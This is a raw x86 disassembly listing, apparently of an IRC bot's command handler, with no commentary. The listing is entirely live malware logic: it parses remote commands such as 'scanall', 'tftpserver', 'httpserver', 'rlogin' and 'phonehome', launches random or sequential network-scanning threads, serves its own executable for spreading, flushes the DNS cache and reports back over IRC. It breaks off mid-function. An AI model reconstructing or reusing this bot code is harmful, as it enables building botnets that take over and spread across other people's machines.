		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4038FD
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4038FD
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403771
		push	edi
		push	offset aHttp	; "http"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403771
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40363A
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40363A
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403336
		push	edi
		push	offset aVall	; "vall"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403336
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40313E
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		jmp	loc_401F49
; ---------------------------------------------------------------------------


loc_403336:				; CODE XREF: sub_401AC7+182Ej
					; sub_401AC7+183Fj
		mov	al, byte_433A5A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_433A5A
		jz	loc_401E8B
		mov	ecx, edx


loc_40334D:				; CODE XREF: sub_401AC7+188Ej
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40334D
		cmp	al, bl
		jz	loc_401E8B
		mov	[ebp+arg_18], edx
		mov	esi, offset dword_425134


loc_403367:				; CODE XREF: sub_401AC7+1B5Ej
		push	0Bh
		call	sub_40A44B
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_4033B6
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E764
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h
		jmp	loc_40361C
; ---------------------------------------------------------------------------


loc_4033B6:				; CODE XREF: sub_401AC7+18BAj
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_433878, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_403427
		mov	edi, offset dword_433878


loc_4033EB:				; CODE XREF: sub_401AC7+1942j
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40340D
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4033EB
		jmp	short loc_403427
; ---------------------------------------------------------------------------


loc_40340D:				; CODE XREF: sub_401AC7+1938j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_433878[ecx]
		mov	[ebp+var_74C], ecx


loc_403427:				; CODE XREF: sub_401AC7+191Dj
					; sub_401AC7+1944j
		cmp	[ebp+var_74C], ebx
		jz	loc_403630
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4C97A4	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_417B00
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_418340
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4034CF


loc_4034AD:				; CODE XREF: sub_401AC7+1A06j
		cmp	eax, ebx
		jz	short loc_4034CF
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_418340
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4034AD


loc_4034CF:				; CODE XREF: sub_401AC7+19E4j
					; sub_401AC7+19E8j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_417E90
		push	offset byte_43B9B8
		push	esi
		call	sub_418570
		add	esp, 14h
		test	eax, eax
		jz	short loc_403531
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_403537
; ---------------------------------------------------------------------------


loc_403531:				; CODE XREF: sub_401AC7+1A55j
		mov	[ebp+var_7D0], bl


loc_403537:				; CODE XREF: sub_401AC7+1A68j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_403549
		mov	eax, offset aSequential	; "Sequential"


loc_403549:				; CODE XREF: sub_401AC7+1A7Bj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E6E4
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B43D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_4035D3


loc_4035C1:				; CODE XREF: sub_401AC7+1B0Aj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_4035EE
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_4035C1
; ---------------------------------------------------------------------------


loc_4035D3:				; CODE XREF: sub_401AC7+1AF8j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E6A8
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_4035EE:				; CODE XREF: sub_401AC7+1B00j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40360F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_40360F:				; CODE XREF: sub_401AC7+1B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40361C:				; CODE XREF: sub_401AC7+18EAj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403367
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_403630:				; CODE XREF: sub_401AC7+1966j
		push	offset unk_42E670
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_40363A:				; CODE XREF: sub_401AC7+1804j
					; sub_401AC7+1819j
		push	5
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_403650
		push	offset unk_42E650
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_403650:				; CODE XREF: sub_401AC7+1B7Dj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403673
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_403687
; ---------------------------------------------------------------------------


loc_403673:				; CODE XREF: sub_401AC7+1B92j
		mov	edi, 104h
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		push	ebx
		call	dword_423070	; GetModuleFileNameA


loc_403687:				; CODE XREF: sub_401AC7+1BAAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403697
		mov	esi, offset byte_4250EC


loc_403697:				; CODE XREF: sub_401AC7+1BC9j
		push	esi
		lea	eax, [ebp+var_244C]
		push	edi
		push	eax
		call	sub_417E90
		mov	eax, dword_425078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2340],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2344],	ebx
		mov	[ebp+var_2554],	eax
		lea	eax, [ebp+var_233C]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		mov	[ebp+var_22BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_22B8],	eax
		lea	eax, [ebp+var_2550]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2340]
		push	offset unk_42E61C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40A203
		add	esp, 34h
		mov	[ebp+var_2348],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2554]
		push	ebx
		push	eax
		push	offset sub_41088E
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2348]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403760


loc_40374A:				; CODE XREF: sub_401AC7+1C97j
		cmp	[ebp+var_22B4],	ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40374A
; ---------------------------------------------------------------------------


loc_403760:				; CODE XREF: sub_401AC7+1C81j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E5E0
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_403771:				; CODE XREF: sub_401AC7+17DAj
					; sub_401AC7+17EFj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403790
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jz	short loc_403790
		push	edi
		call	sub_417C89
		pop	ecx
		jmp	short loc_403795
; ---------------------------------------------------------------------------


loc_403790:				; CODE XREF: sub_401AC7+1CB3j
					; sub_401AC7+1CBEj
		mov	eax, dword_42507C


loc_403795:				; CODE XREF: sub_401AC7+1CC7j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_2DC4],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_2DB0],	eax
		jz	short loc_4037C8
		lea	eax, [ebp+var_2EC8]
		push	esi
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4037F3
; ---------------------------------------------------------------------------


loc_4037C8:				; CODE XREF: sub_401AC7+1CEEj
		lea	eax, [ebp+var_4050]
		push	104h
		push	eax
		call	dword_423074	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4050]
		push	eax
		call	sub_417EE1
		add	esp, 14h


loc_4037F3:				; CODE XREF: sub_401AC7+1CFFj
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_4176F0
		cmp	[ebp+eax+var_2EC9], 5Ch
		pop	ecx
		jnz	short loc_40381E
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_4176F0
		pop	ecx
		mov	[ebp+eax+var_2EC9], bl


loc_40381E:				; CODE XREF: sub_401AC7+1D41j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3150]
		mov	[ebp+var_3154],	esi
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2DB4],	eax
		lea	eax, [ebp+var_2EC8]
		mov	[ebp+var_2DB8],	edi
		push	eax
		push	[ebp+var_2DC4]
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E5A4
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_2DBC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3154]
		push	ebx
		push	eax
		push	offset sub_40E1DC
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2DBC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_4038D2


loc_4038C0:				; CODE XREF: sub_401AC7+1E09j
		cmp	[ebp+var_2DA8],	ebx
		jnz	short loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_4038C0
; ---------------------------------------------------------------------------


loc_4038D2:				; CODE XREF: sub_401AC7+1DF7j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E568


loc_4038DE:				; CODE XREF: sub_401AC7+1F69j
					; sub_401AC7+442Aj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_4038ED:				; CODE XREF: sub_401AC7+1DFFj
					; sub_401AC7+1F4Dj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4079C8
		push	ebx
		push	edi
		jmp	loc_4069A8
; ---------------------------------------------------------------------------


loc_4038FD:				; CODE XREF: sub_401AC7+17B0j
					; sub_401AC7+17C5j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40391C
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jz	short loc_40391C
		push	edi
		call	sub_417C89
		pop	ecx
		jmp	short loc_403921
; ---------------------------------------------------------------------------


loc_40391C:				; CODE XREF: sub_401AC7+1E3Fj
					; sub_401AC7+1E4Aj
		mov	eax, dword_425080


loc_403921:				; CODE XREF: sub_401AC7+1E53j
		mov	[ebp+var_15D0],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403938
		lea	eax, [ebp+var_C4]


loc_403938:				; CODE XREF: sub_401AC7+1E69j
		push	eax
		lea	eax, [ebp+var_1710]
		push	40h
		push	eax
		call	sub_417E90
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_40395A
		mov	esi, offset byte_43B9B8


loc_40395A:				; CODE XREF: sub_401AC7+1E8Cj
		push	esi
		lea	eax, [ebp+var_16D0]
		push	100h
		push	eax
		call	sub_417E90
		push	[ebp+var_88]
		lea	eax, [ebp+var_1790]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_15BC],	eax
		lea	eax, [ebp+var_1710]
		push	eax
		mov	[ebp+var_1794],	esi
		push	[ebp+var_15D0]
		mov	[ebp+var_15C0],	edi
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E52C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_15CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1794]
		push	ebx
		push	eax
		push	offset sub_40FB45
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_15CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403A24


loc_403A0E:				; CODE XREF: sub_401AC7+1F5Bj
		cmp	[ebp+var_15B8],	ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403A0E
; ---------------------------------------------------------------------------


loc_403A24:				; CODE XREF: sub_401AC7+1F45j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E4F0
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_403A35:				; CODE XREF: sub_401AC7+1786j
					; sub_401AC7+179Bj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403A48
		push	esi
		call	sub_417C89
		jmp	short loc_403A4F
; ---------------------------------------------------------------------------


loc_403A48:				; CODE XREF: sub_401AC7+1F77j
		push	0Bh
		call	sub_40A46A


loc_403A4F:				; CODE XREF: sub_401AC7+1F7Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_408A45
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AB5B
		jmp	loc_403F08
; ---------------------------------------------------------------------------


loc_403A6F:				; CODE XREF: sub_401AC7+175Cj
					; sub_401AC7+1771j
		mov	eax, dword_4C9728
		cmp	eax, ebx
		jz	short loc_403A8C
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_403A85
		push	offset unk_42E4CC
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403A85:				; CODE XREF: sub_401AC7+1FB5j
		push	offset unk_42E4A0
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403A8C:				; CODE XREF: sub_401AC7+1FAFj
		push	offset unk_42E474
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403A93:				; CODE XREF: sub_401AC7+1732j
					; sub_401AC7+1747j
		call	sub_409C3F
		test	eax, eax
		jz	short loc_403AA3
		push	offset unk_42E450
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403AA3:				; CODE XREF: sub_401AC7+1FD3j
		push	offset unk_42E424


loc_403AA8:				; CODE XREF: sub_401AC7+1FBCj
					; sub_401AC7+1FC3j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		jmp	loc_4063FB
; ---------------------------------------------------------------------------


loc_403ABE:				; CODE XREF: sub_401AC7+1708j
					; sub_401AC7+171Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ADD
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E40C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_403ADD:				; CODE XREF: sub_401AC7+1FFAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4152AB
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	offset dword_42E3F0
		jmp	loc_403DD7
; ---------------------------------------------------------------------------


loc_403AFF:				; CODE XREF: sub_401AC7+1598j
					; sub_401AC7+15ADj
		push	0Ah
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_403B15
		push	offset unk_42E3C4
		jmp	loc_408807
; ---------------------------------------------------------------------------


loc_403B15:				; CODE XREF: sub_401AC7+2042j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416CC2
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403B34
		push	offset unk_42E39C
		jmp	loc_408807
; ---------------------------------------------------------------------------


loc_403B34:				; CODE XREF: sub_401AC7+2061j
		push	offset unk_42E37C
		jmp	loc_408807
; ---------------------------------------------------------------------------


loc_403B3E:				; CODE XREF: sub_401AC7+156Ej
					; sub_401AC7+1583j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409910
		jmp	loc_401E88
; ---------------------------------------------------------------------------


loc_403B57:				; CODE XREF: sub_401AC7+1544j
					; sub_401AC7+1559j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_414749
		jmp	loc_401E88
; ---------------------------------------------------------------------------


loc_403B74:				; CODE XREF: sub_401AC7+151Aj
					; sub_401AC7+152Fj
		or	edi, 0FFFFFFFFh
		call	dword_4230A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_403B9D
		push	esi
		call	sub_417C89
		pop	ecx
		mov	edi, eax


loc_403B9D:				; CODE XREF: sub_401AC7+20CBj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_403BB6
		cmp	edi, 0FFFFFFFFh
		jnz	loc_408A45


loc_403BB6:				; CODE XREF: sub_401AC7+20E4j
		push	ebx
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E364
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E


loc_403BF3:				; CODE XREF: sub_401AC7+55E2j
		add	esp, 28h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_403BFB:				; CODE XREF: sub_401AC7+14F0j
					; sub_401AC7+1505j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413D6E
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E344
		push	eax
		call	sub_417D96
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_403C22:				; CODE XREF: sub_401AC7+14C6j
					; sub_401AC7+14DBj
		push	27h
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_403C56
		cmp	[ebp+var_8], ebx
		jnz	loc_401E8B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42E324
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D


loc_403C4E:				; CODE XREF: sub_401AC7+680Cj
		add	esp, 14h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_403C56:				; CODE XREF: sub_401AC7+2165j
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		jz	short loc_403CB7
		push	esi
		push	offset aFull	; "full"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403CB7
		mov	[ebp+var_A10], 1


loc_403CB7:				; CODE XREF: sub_401AC7+21D3j
					; sub_401AC7+21E4j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E300
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_416949
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403D25


loc_403D0F:				; CODE XREF: sub_401AC7+225Cj
		cmp	[ebp+var_A04], ebx
		jnz	loc_408836
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403D0F
; ---------------------------------------------------------------------------


loc_403D25:				; CODE XREF: sub_401AC7+2246j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E2C4
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_408836
; ---------------------------------------------------------------------------


loc_403D45:				; CODE XREF: sub_401AC7+149Cj
					; sub_401AC7+14B1j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403D64
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E2A8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_403D64:				; CODE XREF: sub_401AC7+2281j
		push	[ebp+arg_4]
		call	dword_4C9890	; closesocket
		call	dword_4C9760	; WSACleanup
		call	sub_41542E
		push	ebx
		call	dword_423064	; ExitProcess


loc_403D7F:				; CODE XREF: sub_401AC7+1472j
					; sub_401AC7+1487j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_417368
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	offset dword_42E28C
		jmp	short loc_403DD7
; ---------------------------------------------------------------------------


loc_403DAA:				; CODE XREF: sub_401AC7+1448j
					; sub_401AC7+145Dj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41761C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	offset dword_42E270


loc_403DD7:				; CODE XREF: sub_401AC7+2033j
					; sub_401AC7+22E1j
		call	sub_413B5E


loc_403DDC:				; CODE XREF: sub_401AC7+6554j
		add	esp, 18h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_403DE4:				; CODE XREF: sub_401AC7+141Ej
					; sub_401AC7+1433j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413BFE
		jmp	loc_401E88
; ---------------------------------------------------------------------------


loc_403DFD:				; CODE XREF: sub_401AC7+13F4j
					; sub_401AC7+1409j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1340],	bl
		jz	short loc_403E3C
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403E3C
		push	esi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_403E3C
		push	eax
		push	offset dword_42E26C
		lea	eax, [ebp+var_1340]
		push	80h
		push	eax
		call	sub_417E90
		add	esp, 10h


loc_403E3C:				; CODE XREF: sub_401AC7+233Fj
					; sub_401AC7+234Aj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_13C0]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+arg_4]
		push	offset dword_42E254
		mov	[ebp+var_13C4],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_12BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_12B8],	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_12C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	eax
		push	offset sub_413C3F
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_12C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403EDC


loc_403EC6:				; CODE XREF: sub_401AC7+2413j
		cmp	[ebp+var_12B4],	ebx
		jnz	loc_401E8B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403EC6
; ---------------------------------------------------------------------------


loc_403EDC:				; CODE XREF: sub_401AC7+23FDj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E21C
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_403EED:				; CODE XREF: sub_401AC7+13CAj
					; sub_401AC7+13DFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413AE6
		push	offset dword_42E204
		call	sub_413B5E


loc_403F08:				; CODE XREF: sub_401AC7+1FA3j
		add	esp, 10h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_403F10:				; CODE XREF: sub_401AC7+13A0j
					; sub_401AC7+13B5j
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		jz	short loc_403F6A
		push	offset dword_42E200
		push	esi
		call	sub_418570
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_AA8], eax
		jmp	short loc_403F70
; ---------------------------------------------------------------------------


loc_403F6A:				; CODE XREF: sub_401AC7+2487j
		mov	[ebp+var_AA8], ebx


loc_403F70:				; CODE XREF: sub_401AC7+24A1j
